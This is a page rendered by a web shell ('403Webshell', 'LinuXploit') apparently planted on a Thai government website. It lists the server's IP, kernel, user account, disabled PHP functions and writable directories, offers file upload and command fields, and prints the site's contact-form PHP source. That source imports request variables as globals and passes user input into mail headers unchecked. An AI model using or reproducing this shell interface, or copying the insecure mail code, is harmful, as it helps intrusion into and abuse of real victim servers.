403Webshell
Server IP : 119.59.102.212  /  Your IP : 3.22.217.190
Web Server : Apache/2
System : Linux narin 2.6.32-042stab142.1 #1 SMP Tue Jan 28 23:44:17 MSK 2020 x86_64
User : yangkam ( 1022)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/yangkam/domains/yangkam.go.th/public_html/coremain/module/contact/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yangkam/domains/yangkam.go.th/public_html/coremain/module/contact/send_mail_output.php
<?php
import_request_variables('pG', 'p_');
if($p_topic!="")		{  $topic=trim($p_topic);				}
if($p_sender_name!="")		{  $sender_name=trim($p_sender_name);				}
if($p_sender_mail!="")		{  $sender_mail=trim($p_sender_mail);				}
if($p_evar!="")		{  $evar=trim($p_evar);				}
bar_header("ส่งข้อมูลสำเร็จ");
fieldset_top("ส่งข้อมูลสำเร็จ");
$message =strip_tags($evar);
$recive_name = $main_data[email];

//sendmail($sender_name,$sender_mail,$recive_name,$topic,$evar); // so easy then don't use = ="
  /* $mail= new Mail; // create the mail
   $mail->From($sender_mail);
   $mail->To($recive_name);
   $mail->Subject($topic );   

   $message= $evar;
   $mail->Body($message);   // set the body
  // $m->Cc( "someone@somewhere.fr");
 //  $m->Bcc( "someoneelse@somewhere.fr");
   $mail->Priority(4) ;   // set the priority to Low
   $file_send = $_SERVER['HTTP_HOST']."/index.php";
   $mail->Attach($file_send) ;   // attach a file of type image/gif
   $mail->Send();   // send the mail
 //  echo "the mail below has been sent:<br><pre>", $m->Get(), "</pre>";
 )/
 */
 
  $mail = new MIMEMAIL("HTML");

$mail->senderName = $sender_name;
$mail->senderMail = $sender_mail;
//$mail->bcc = "bcc@email";

$mail->subject = $topic;

$mail->body = $message; // OR: $mail->body = "path_to_file/filename";

$mail->attachment[] = "contact.php";
//$mail->attachment[] = "path_to_file2/filename2";
//...

$mail->create();

$mail->send($recive_name);
//$mail->send("recipient2@email,recipient3@email,recipient4@email");


echo"<br/><b><center>ส่งข้อมูลแล้ว</center><br/></b>";
echo "<meta http-equiv='refresh' content='2; url=index.php'>" ;
fieldset_down();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit